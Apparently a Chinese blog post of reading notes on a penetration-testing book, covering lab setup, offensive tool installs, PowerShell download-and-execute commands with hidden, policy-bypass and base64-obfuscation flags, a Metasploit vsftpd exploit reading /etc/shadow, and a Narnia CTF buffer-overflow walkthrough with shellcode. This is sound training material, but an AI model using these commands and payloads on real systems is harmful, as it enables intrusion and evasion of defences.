《黑客祕笈——滲透測試實用指南》讀書筆記(1)

巫女格格發表於2017-12-20

滲透學習

1.1搭建測試環境

Linux和 Windows兼備

 

1.2建立一個域

 

1.3建立其他伺服器

Metasploitable2(一個優秀的 Ubuntu Linux虛擬機器)

下載地址:http://sourceforge.net/projects/metasploitable/files/Metasploitable2

 

OWASPBWA(漏洞網站多)

http://sourceforge .net/projects/owaspbwa/files/

 

1.4安裝測試環境

1.4.1安裝虛擬平臺

  VirtualBox(http://www.virtualbox.org)

   VMWarePlayer(https://my.vmware.com/web/vmware/downloads

在配置主機後,對乾淨狀態和配置狀態的虛擬機器進行了快照。後面的測試中需要做到就是恢復虛擬機器到基礎映象,對工具進行升級和打補丁或者新增其他需要的工具。

 

1.5硬體

測試筆記本

1、8G以上筆記本兩個

2、500G硬碟(最好固態)

3、Intel酷睿i7四核處理器

密碼破解桌面

機箱:海盜船復仇C70。

 

顯示卡:SAPPHIRE 100360SR Radeon R9 295x2 8GBGDDR5。

 

硬碟:三星840 EVO MZ-7TE500BW 2.5" 500GBSATA III TLC Internal固態盤。

 

電源:銀欣ST1500 1500W ATX。

 

記憶體:海盜船復仇16GB(2×8GB)240針腳DDR3 SDRAM DDR3 1600。

 

CPU:酷睿i7 4790K 4.0G。

 

主機板:華碩MAXIMUS VII FORMULA。

 

處理器風扇:酷冷至尊Hyper 212 EV。

 

 

 

1.6開發軟體

商業軟體

Burp Suite Pro

 

Canvas

Cobalt Strike

Core Impact

Nessus

Nexpose

2.Kali Linux(https://www.kali.org/

1.5.5 搭建Kali Linux

檢視http://www.thehackerplaybook.com網頁的更新。

所有的配置和軟體部分放到了Github網址(http://www.github.com/cheetz/thp2)。通過複製和貼上指令碼,方便滲透測試工作,不需要手動輸入每一個命令。

可以通過地址http://www.kali.org/downloads/下載Kali Linux發行版。強烈推薦下載VMware映象(https://www.offensive-security.com/kali-linux-vmware-arm-image-download)和Virtual Player/VirtualBox。記住映象檔案採用gz壓縮和tar存檔格式,首先提取壓縮和存檔檔案,然後載入vmx檔案。

1.Kali虛擬機器啟動和執行

  • 使用使用者名稱root和預設密碼toor登入
  • 開啟一個終端
  • 修改密碼
    • passwd
  • 更新映象
    • apt-get update
    • apt-get dist-upgrade
  • 設定Metasploit資料庫
    • service postgresql start
  • 讓postgresql資料庫在啟動時載入
    • update-rc.dpostgresql enable
  • 啟動和停止Metasploit服務(設定資料庫.yml檔案)
    • service metasploit start
    • service metasploit stop
  • 安裝gedit軟體
    • apt-get install gedit
  • 修改主機名(很多網路管理員在DHCP的日誌中查詢到多臺命名為Kali的主機,最好遵循滲透測試公司的主機命名規則)
    • gedit /etc/hostname
      更改主機名(替換kali)並儲存
    • gedit /etc/hosts
      更改主機名(替換kali)並儲存
    • reboot
  • *Metasploit可選項——啟動日誌記錄
    • 作為可選項,如果啟用日誌就會變得很大,但是通過Metasploit命令列介面,可以記錄執行的每一條命令和結果。如果客戶需要日誌記錄或者開展批量攻擊和查詢,這將變得非常有用。*如果是乾淨的映象,首先輸入msfconsole,在配置logging命令建立.msf4資料夾之前退出。
    • 在命令列中輸入:
      echo"spool /root/msf_console.log" > /root/.msf4/msfconsole.rc
    • 日誌儲存在/root/msf_console.log。

 

3.Back Box(http://www.backbox.org/

 

1.7 建立平臺

探測掃描工具

 

安裝Firefox外掛

 

Discover

Discover Scripts

 

EyeWitness

 

HTTPScreenShot

 

WMAP

 

SpiderFoot

 

Masscan

 

Gitrob

 

CMSmap

 

Recon-ng

 

SPARTA

 

WPScan

 

Password Lists

 

漏洞利用工具

 

 

Fuzzing Lists(SecLists)

 

Burp Suite Pro

 

ZAP Proxy Pro

 

NoSQLMap

 

SQLMap

 

SQLNinja

 

BeEF Exploitation Framework

 

Responder

  • 一個LLMNR、NBT-NS和MDNS協議攻擊工具,包括HTTP/SMB/MSSQL/FTP/LDAP誘騙認證方法,支援NTLMv1/NTLMv2/LMv2,擴充套件的NTLMSSP和基本HTTP認證協議。Responder用於獲取NTLM挑戰/應答雜湊值。
  • git clone https://github.com/SpiderLabs/Responder.git /opt/Responder

 

Printer Exploits

  • 包括大量常用的印表機漏洞利用工具

·       git clone https://github.com/MooseDojo/praedasploit/opt/praedasploit

Veil

Veil-Framework

  • 紅隊工具集用於規避防毒軟體檢測。目前包括Veil-Evasion用於生成規避防毒軟體淨荷,Veil-Catapult投送淨荷到目標,Veil-PowerView獲取Windows域網路拓撲資訊。Veil框架也可用於建立基於Python指令碼的Meterpreter可執行程式
  • git clone https://github.com/Veil-Framework/Veil /opt/Veil
  • cd /opt/Veil/ && ./Install.sh -c

 

WIFIPhisher

 

Wifite

 

SET

 

後滲透測試

 

 

本書中的自定義指令碼

 

SMBexec

  • 使用samba工具的一種快速psexec型別攻擊

·       git clone https://github.com/pentestgeek/smbexec.git/opt/smbexec

  • cd /opt/smbexec&& ./install.sh
  • 選擇1 - Debian/Ubuntu and derivatives
  • 選擇所有預設值Select all defaults
  • ./install.sh
  • 選擇4編譯smbexec二進位制檔案
  • 編譯完成後選擇5退出

 

Veil

 

WCE

  • Windows憑證編輯器(Windows Credential Editor,WCE),用於從記憶體中讀取密碼
  • 下載地址為http://www.ampliasecurity.com/research/windows-credentials-editor/,將其儲存在/opt/。例如:
    • wget www.ampliasecurity.com/research/wce_v1_4beta_universal.zip
    • mkdir/opt/wce&& unzip wce_v1* -d /opt/wce&&rm wce_v1*.zip

 

Mimikatz

 

PowerSploit

 

Nishang

 

後門製造工廠

DSHashes

 

Net-Creds

Net-Creds網路分析

 

程式碼副本

 

Phishing(可選)

 

 

1.8 設定Windows環境

搭建Windows通用測試平臺作為KaliLinux平臺的備份。記住一定要修改主機名,如果不使用NetBios,就禁用NetBios功能,要做的最後一件事是在評估過程中獲取控制權。

設定Windows通常安裝以下軟體。

1.9 啟動PowerShell

PowerShell功能,請觀看這個視訊:

PowerShell對於滲透測試人員有以下益處:

  • Windows 7以上作業系統預設安裝;
  • PowerShell指令碼可以執行在記憶體中;
  • 幾乎不會觸發防毒軟體;
  • 可以呼叫.NET類;
  • 利用使用者口令(查詢活動目錄);
  • 可以用來管理活動目錄;
  • 遠端執行PowerShell指令碼;
  • 使得Windows指令碼攻擊更加容易;
  • 目前很多工具是基於PowerShell開發的,掌握這些工具幫助您成為能力出眾、效率較高的滲透測試人員。

您可以通過Windows終端提示符輸入“PowerShell”,進入PowerShell命令列,輸入“help”命令顯示幫助選單。下面是本書用到的基本引數和基本設定。

  • -Exec Bypass:繞過執行安全保護。
    • 這個引數非常重要!預設情況下,PowerShell的安全策略不允許執行命令和檔案。通過設定這個引數,可以繞過任何一個安全保護規則。在本書中,每一次執行PowerShell指令碼時均使用這個引數。
  • -NonI:非互動模式,PowerShell不提供使用者互動式提示符。
  • -NoProfile(或者 –NoP):PowerShell控制檯不載入當前使用者的配置。
  • -noexit:執行後不退出shell。這對於指令碼,例如鍵盤記錄,非常重要,因此這些指令碼可以繼續執行。
  • -W Hidden:設定會話的視窗風格,將命令視窗保持隱藏。
  • 32位或64位PowerShell。
    • 這非常重要。一些指令碼僅僅能夠執行在它們指定的平臺。因此,如果是在64位平臺,需要執行64位PowerShell指令碼來執行命令。
    • 32位PowerShell指令碼執行:
      powershell.exe -NoP -NonI -W Hidden -Exec Bypass
    • 64位PowerShell指令碼執行:
      %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass

為了更好了解PowerShell的使用方法,下面介紹一些常用的執行命令(這些命令將在本書中使用)。

第一個命令是從網站伺服器下載PowerShell指令碼,並執行指令碼。在很多情況下,通過命令列,在被攻擊物件主機上下載MeterpreterPowerShell指令碼:

  • Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-ObjectNet.WebClient). DownloadString('[PowerShell URL]'); [Parameters]

例如,如果想在目標上執行Meterpreter Shell,需要下載這個指令碼:

我們同樣需要知道使用什麼引數。最簡單的找到引數的方式是閱讀PowerShell指令碼原始碼,獲取和瀏覽Invoke--Shellcode.ps1檔案。檢視Mattifestationbianxie開發的Invoke--Shellcode.ps1檔案,可以通過這個例子,瞭解如何呼叫反向https Meterpreter shell(見圖1.1)。

最終的PowerShell命令看起來如下所示。

圖1.1 Invoke--Shellcode.ps1

可以看出,PowerShell使用非常簡單,而且功能超級強大。下面瞭解更多的例子。

例如,下載同一個檔案到目標上。您不需要訪問網頁,就可以自動下載和執行檔案。在本地執行檔案:

  • powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& { Import-Module [Path and File of PowerShell]; [Parameters] }"

最後,在本書中我通常使用base64編碼PowerShell指令碼,目的是混淆和壓縮程式碼。執行和編碼PowerShell指令碼的命令如下:

  • powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [Base64 Code]

希望上述的例子能幫助您在滲透測試中嫻熟地使用PowerShell。

1.10 Easy-P

因為本書大量應用PowerShell指令碼實施攻擊,所以我建立了一個小的指令碼,用於在滲透測試過程中獲取PowerShell指令碼。Easy-P包括我常用的一些PowerShell工具,並且具有編碼指令碼的功能。

對於每個命令,Easy-P提供多種方式執行程式碼,包括本地和遠端。注意所有的遠端PowerShell指令碼指向我的程式碼或者其他人程式碼的複製版本。在這裡我要強調一點,在後面的章節中還會提到多次:記住要從原始碼中複製自己的一個拷貝,這樣您就不會盲目地執行其他人的程式碼。現在如果一些人惡意地隨意篡改PowerShell指令碼,您永遠不會知道發生了什麼。沒有做什麼或者更壞的情況是,您的shell將轉向其他人指定的地址。下面瞭解一下Easy-P的功能(見圖1.2),使滲透測試工作變得更加簡單。

  • cd /opt/Easy-P
  • python ./easy-p.py

圖1.2 THP Easy-P

我在本書中最經常做的一件事就是使用PowerShell Meterpreter指令碼。當執行Easy-P指令碼時,輸入選項4。設定本地主機IP和Meterpreter指令碼回連的埠。完成設定後,就能看到如圖1.3所示的輸出。

得到4個不同型別的輸出。

  • 從因特網下載和執行:從網站下載一個PowerShell指令碼,然後執行指令碼。雖然僅獲得簡單的shell,並且不能下載檔案,但是也很棒了。
  • 從指令碼的一個本地副本執行:如果您已經將一個PowerShell檔案下載到系統中,執行命令匯入PowerShell指令碼,然後執行指令碼。
  • Base64編碼版本下載和執行:如果由於某個原因想混淆編碼指令碼,或者遇到字元限制,您可以使用base64編碼程式碼,然後執行命令。
  • 資原始檔:最後輸出的是關聯的資原始檔。Metasploit資原始檔是一種快捷方式,自動為MeterpreterPowerShell建立監聽程式。複製資源指令碼並將它存成檔案:/opt/listener.rc。

圖1.3 Easy-P輸出示例

所有的指令碼已經配置成繞過執行策略,保持隱藏,以及非互動執行。看一下Easy-P其他選單選項,還包括許可權提升、橫向滲透、鍵盤記錄、PowerShellMeterpreter和修改使用者執行策略等功能。請隨意複製我的程式碼,然後修改、增加所需要的PowerShell程式碼。

 

1.11特別知識點

1.11.1 Metasploitable 2

在開始前,需要下載安裝Metasploitable 2環境的VMWare映象。

下載地址為http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

下載Metasploitable 2軟體後,解壓軟體,並在VMware Player或者Virtual Box虛擬機器中開啟軟體,輸入使用者名稱msfadmin和密碼msfadmin登入軟體。現在執行VM映象檔案。

試驗環境

開始執行Nmap、Masscan或者其他漏洞工具,測試存在漏洞的虛擬機器。一旦發現系統漏洞,就執行漏洞利用程式獲取一個shell。舉個例子,我們發現並且將利用vsftpd存在的缺陷。因此,可以搜尋漏洞(搜尋vsftpd,見圖1.4)或者直接執行漏洞利用程式。

  • msfconsole
  • use exploit/unix/ftp/vsftpd_234_backdoor(選擇漏洞)
  • show options(顯示配置選項)
  • set RHOST [IP](設定Metasploitable 2 IP)
  • exploit(執行漏洞)

圖1.4 Metasploit例子

成功利用這個漏洞,讀取儲存的密碼:cat /etc/shadow。為了深入研究Metasploitable 2,請閱讀Rapid7指南,地址為https://community.rapid7.com/docs/DOC-1875

這個虛擬機器包括很多不同型別漏洞。您要花費時間學習如何有效使用Metasploit和Meterpreter。如果想深入瞭解Metasploit,推薦訪問http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X

1.11.2二進位制利用

請閱讀下面的書籍:The Shellcoders Handbook(http://amzn.to/1E3k89R)或者Hacking: The Art of Exploitation,2nd Edition(http://amzn.to/1z8oThD)。然而,這並不意味著您不需要理解緩衝區溢位和基本漏洞技術。既然所有的滲透測試人員都需要能夠編寫指令碼程式碼,那麼他們也需要能理解漏洞利用程式碼。比如可能在Metasploit找到一個模組,它不能正常工作,需要較小的調整,或者需要驗證從網際網路下載的漏洞利用程式碼。

已經有大量不同型別網站,幫助開始學習二進位制漏洞基礎知識。一個非常好的學習網站是Over the Wire(http://overthewire.org/wargames/narnia/ )。Over the Wire網站是一個線上奪旗挑戰站點,專注於從二進位制攻擊到網站攻擊所有方面的知識。在本章,僅僅介紹二進位制漏洞利用。如果您之前沒有了解相關的背景知識,我建議用幾個週末的時間深入研究這個網站。為了順利進入情況,我先和您一起回答幾個試題,然而後面的挑戰試題需要您自己完成。

在開始前,需要學習以下基礎知識:

  • 基本的組合語言和理解暫存器的使用;
  • GDB基礎知識(GNU偵錯程式);
  • 理解不同型別的記憶體段(棧、堆、資料、BSS和程式碼段);
  • Shellcode基本概念。

下面這些資源可能會對學習有所幫助:

 

1.11.3Narnia設定(http://overthewire.org/wargames/narnia/

(1)階段1

Narnia正確配置後,SSH登入到它們的伺服器,所有的挑戰位於/narnia/目錄下。下面詳細瞭解前三個例子。在Kali的終端提示符下或者在Windows下使用類似於Putty(http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)的軟體。

  • ssh narnia0@narnia.labs.overthewire.org
  • Password: narnia0
  • cd /narnia/

每一階段挑戰都提供C語言程式碼和二進位制可執行檔案。對於挑戰0,具有訪問narnia0和narnia0.c的許可權。現在看一下C程式碼。

  • cat narnia0.c

快速瀏覽程式碼(見圖1.5)後,看到變數“val”被賦值十六進位制“AAAA”。其次,可以看到,程式接受輸入的緩衝區長度為20位元組。在之後的一些行,scanf()函式允許最多輸入24位元組。這是非常簡單的緩衝區溢位例子。現在執行可執行檔案,作為測試,輸入20個A和4個B(因為我們知道十六進位制值A=41和B=42),在命令提示符下,顯示的字元如下:

  • narnia0@melinda:/narnia$ ./narnia0
  • 修改val的值0x41414141 -> 0xdeadbeef!
  • 這個是您的機會:AAAAAAAAAAAAAAAAAAAABBBB
  • 緩衝區:AAAAAAAAAAAAAAAAAAAABBBB
  • val:0x42424242
  • 退出!!!!

圖1.5 narnia0程式碼

太棒了!因為val十六進位制值是0x42424242(42對應ASCII字母B),可以修改記憶體中val的值,之前這個值是0x41414141。現在需要做的就是修改記憶體值為0xdeadbeef。這裡提醒一下,所有寫到堆疊中的值必須是小端格式(http://en.wikipedia.org/wiki/Endianness ),這意味著0xdeadbeef最後的位元組必須是第一個壓到棧中的位元組,從而覆蓋val的值。目標機器棧機制是先進後出(FILO),或者說是後進先出(LIFO)的架構。因此,為了設定0xdeadbeef值,以“\xef\xbe\xad\xde”順序寫入。最簡單的方式是使用Python語言生成所需的數值,並將其作為narnia0例子的輸入值。請看下面的操作過程:

  • narnia0@melinda:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
  • 修正val變數值從0x41414141 -> 0xdeadbeef!
  • 這是機會:buf: AAAAAAAAAAAAAAAAAAAA?
  • val: 0xdeadbeef

太棒了!現在已經將deadbeef值寫入“val”變數中。那麼如何執行shell命令呢?再檢視C程式碼,可以看到,如果匹配deadbeef,/bin/sh將被呼叫。因此執行Python程式碼,並讀取位於/etc/narnia_pass/narnia1的金鑰:

  • narnia0@melinda:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0
  • 修正val變數值從0x41414141到0xdeadbeef!
  • 這是機會:緩衝區:AAAAAAAAAAAAAAAAAAAA?
  • val: 0xdeadbeef
  • [階段1的答案]

如果成功了,就通過階段1,並獲得narnia1賬戶的口令(見圖1.6)。現在需要登出賬戶並使用narnia1賬戶重新登入。

圖1.6 narnia0漏洞利用

(2)階段2

在完成每一個階段後,都可以獲得下一個賬戶的口令。使用剛剛獲得narnia1賬戶登入階段2:

  • ssh narnia1@narnia.labs.overthewire.org
  • Password: [narnia1的密碼]
  • cd /narnia/
  • cat narnia1.c

瀏覽這段C程式碼(見圖1.7),很快可以看到一些操作。

  • int (*ret)():是一個指向ret的指標,用於獲取指標對應的數值。
  • getenv:引入一個環境變數EGG並將值存入變數ret中。
  • 呼叫ret()。

圖1.7 narnia1程式碼

如果將shellcode儲存在環境變數ECG中,那麼無論shellcode是什麼內容,它都將被執行。簡單的做法是設定shellcode程式碼為/bin/sh,並將其賦值給ECG的環境  變數。

  • 在這個例子中,將惡意程式碼設定為/bin/sh:http://shell-storm.org/shellcode/files/shellcode-811.php
  • export EGG=‘python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`
  • ./narnia1
  • cat /etc/narnia_pass/narnia2

已經有了narnia2賬戶的密碼(見圖1.8),現在可以進入階段3。

(3)階段3

登入階段3:

  • ssh narnia2@narnia.labs.overthewire.org
  • Password: [narnia2的密碼]
  • cd /narnia/
  • cat narnia2.c

圖1.8 narnia1漏洞利用

瀏覽C程式碼,檢視下面的程式碼:

  • char buf[128];
  • if(argc == 1){
  •     printf("Usage: %s argument\n",argv[0]);
  •     exit(1);
  • }
  • strcpy(buf,argv[1]);
  • printf("%s",buf);

通過瀏覽程式碼可以看到,通過命令輸入一個引數,並將它複製到緩衝區。字串的緩衝區大小是128個位元組,因此我們傳送200個字元:

  • narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "A" * 200''
  • 段錯誤

僅僅是驗證,通過傳送200個字元,造成程式出現段錯誤。需要判斷髮送多少位元組,可以覆蓋EIP暫存器。可以使用Metasploit的pattern_create.rb模組實現這個目的。這個模組生成一個特別字串,在下面的例子中,建立200個位元組的字串。由於生成的字串不會重複,因此能夠精確識別出程式在什麼位置覆蓋EIP。

  • /usr/share/metasploit-framework/tools/pattern_create.rb 200
  • Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
    b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
    d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9A
    f0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

現在執行程式narnia2,輸入新生成的特殊字串,觀察在造成段錯誤之前,輸入了多少個位元組。為了獲得段錯誤的精確結果,使用了偵錯程式。預設情況下,Linux作業系統內嵌gdb偵錯程式。儘管gdb偵錯程式不是最容易使用的偵錯程式,但是它的功能非常強大。

  • gdb ./narnia2 -q
  • run 'python -c' 'print"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
    b6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
    d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A
    f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"''

查詢結果如圖1.9所示。

圖1.9 narnia2漏洞利用

  • 程式接收SIGSEGV訊號,段錯誤。
  • 0x37654136 in ?? ()

命令輸出結果是0x37654136。通過檢視初始的字串來查詢精確的值。為了能夠計算出造成段錯誤的準確位元組數,使用Metasploit的pattern_offset.rb指令碼:

  • /usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136
  • [*] Exact match at offset 140

這表明在140個位元組後可以控制EIP。為了證明這個結果,執行narnia2程式,輸入140個位元組,使用另外的4個位元組覆蓋EIP。通過使用偵錯程式來觀察記憶體中的變化。

輸出結果如下所示。

  • cd /narnia
  • gdb ./narnia2 -q
  • (gdb) run 'python -c 'print "A" * 140 + "B" * 4'`
    • Starting program: /games/narnia/narnia2 'python -c 'print "A" * 140 + "B" * 4'`
    • Program received signal SIGSEGV,Segmentation fault.
    • 0x42424242 in ?? ()
  • (gdb) info registers
    • eax     0x0 0
    • ecx     0x0 0
    • edx     0xf7fcb898   -134432616
    • ebx     0xf7fca000   -134438912
    • esp     0xffffd640    0xffffd640
    • ebp     0x41414141   0x41414141
    • esi     0x0 0
    • edi     0x0 0
    • eip     0x42424242   0x42424242

使用“B”字元(或者十六進位制0x42)覆蓋EIP,EIP是處理器下一步執行程式碼的指標。如果將EIP指向一段shellcode區域,就可以控制系統。那麼到哪兒可以找到shellcode呢?可以定製shellcode或者從下面網址下載shellcode:http://shell-storm.org/shellcode/。在這個例子中,使用Linux/x86 - execve(/bin/sh),長度28個位元組。shellcode長度是28個位元組,淨荷需要144個位元組長度。將A替換為NOP或者0x90,這意味著程式跳到NOP時將繼續執行,直到開始執行可執行程式碼。在使用空指令測試後,我建立了下列程式碼:

  • cd /narnia
  • gdb ./narnia2 -q
  • run 'python -c 'print "\x90" * 50+
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
    x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'
    • 開始執行程式:/games/narnia/narnia2 `python -c 'print "\x90" *50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\ x90" * 67 + "BBBB"'
    • 程式接收SIGSEGV訊號,段錯誤。
    • 0x42424242 in ?? ()
  • (gdb) info registers eip
    • eip 0x42424242 0x42424242

通過shellcode和NOP成功控制EIP的值。現在在NOP前放置shellcode,從而獲得一個/bin/sh shell。為了能夠看到出現段錯誤後記憶體中的內容,輸入:

  • x/250x $esp

滾動瀏覽,可以看到以下內容(見圖1.10)。

圖1.10 NOP Sled

可以看到初始的NOP (x90),後面是shellcode,然後是多個NOP,最後是BBBB。修改BBBB值,使其指向NOP,從而執行shellcode程式碼。一個簡單的地址是0xffffd850棧地址,指向NOP中的第一個字元。開始進行測試,記住不要忘記系統是小段模式。

  • (gdb) run 'python -c 'print "\x90" * 50 +"\x31\xc0\x50\x68\x2f\x2f
    \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b
    \xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"''
    • 開始執行程式:/games/narnia/narnia2 "python -c 'print "\x90" * 50
      +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\
      x53\x89\xe1\xb0\x0b\xcd\x8 0" + "\x90" * 67 + "\x50\xd8\xff\xff"'"
    • 程式5823執行新的程式:/bin/dash
  • $ cat /etc/narnia_pass/narnia3
    • cat: /etc/narnia_pass/narnia3: Permission denied

現在可以執行shellcode,但是由於某種原因,不能夠讀取narnia3賬戶口令。可以嘗試脫離GDB除錯環境執行程式。

  • narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "\x90" * 50 +"\x31
    \xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x
    e1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`
  • $ cat /etc/narnia_pass/narnia3
    • [這兒是narnia3答案]

終於發揮作用了!我們現在獲得高許可權的shell,並可以讀取narnia3的密碼(見圖1.11)。希望通過這個例子,您能初步瞭解緩衝區溢位是如何產生以及如何進行漏洞利用。記住,這是一個二進位制漏洞利用的起始階段。現在可以用一些時間嘗試其他的例子。

圖1.11 narnia2漏洞利用

心得總結

說實話那麼多工具最好按照功能和操作去區分,這樣算下來就是搭建和安裝的工作量大。其他的跑兩遍就好了。

相關文章